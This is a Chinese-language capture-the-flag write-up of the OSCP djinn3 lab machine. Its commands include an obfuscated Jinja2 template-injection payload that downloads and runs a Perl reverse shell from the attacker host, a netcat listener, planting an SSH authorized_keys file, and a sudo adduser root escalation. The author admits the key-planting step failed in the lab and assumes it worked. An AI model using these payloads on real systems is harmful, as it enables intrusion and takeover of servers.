OSCP-djinn3靶场攻防
2022-8-7 20:35:39 Author: 轩公子谈技术(查看原文) 阅读量:34 收藏

信息收集

发现除了80 还存在5000 和 31337端口

然后发现了一个默认用户,guest/guest

随后看到 nmap 再对 31337 登录, 有返回账号和密码

尝试连接

nc 10.0.2.7 31337

进来了,然后没头绪了。

搜了web指纹,werkzeug httpd,是一个接口库,里面有Jinja2,还有flask框架。然后就想到了 ssti 模版注入,可以rce的。研究半天,发现31337 和 5000 是对应关系

改写shell,这种是bypass后的结果

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.0.2.15/shell.pl;perl shell.pl')|attr('read')()}}

在kali中 /usr/share/webshells/ 有自带的webshell脚本,通过perl进行反弹shell,需要更改文件所监听的ip 和 端口。

开启web服务

python -m http.server 80

kali监听

nc -lvnp 7777

31337执行

open  // 打开一个票据title:名称Description: {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.0.2.15/shell.pl;perl shell.pl')|attr('read')()}}

web访问5000页面,点击 link 激活

然后成功接收到了shell

获取命令提示符

python -c "import pty;pty.spawn('/bin/bash')"

提升权限

找了opt下有两个pyc文件

(百度搜了教程,实在没思路了)

说的是 反编译代码 会在tmp创建一个文件,然后等 执行后 就可以免密登录,后来发现 靶场环境有问题,ps 和 pspy64 未发现saint用户的任何进程,所以它不会执行。

{        "URL":"http://10.0.2.15/authorized_keys",        "Output":"/home/saint/.ssh/authorized_keys"}

这里假设我们免密登录了

ssh [email protected]10.0.2.7
// sudo -l 发现saint 加入了组,并且可以执行adduser命令,添加一个用户到root组里,就可以拥有root权限了。然后就可以查看root目录了。sudo -ladduser aaa -gid=0su aaaid

文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247486622&idx=1&sn=c2f7c9450c8015f2f9a43610ac0ee880&chksm=fce9ab51cb9e2247c28106b5dd1997d9e92dde9f11140736d6a70ad968f6be22232bb2cdc51c#rd
如有侵权请联系:admin#unsafe.sh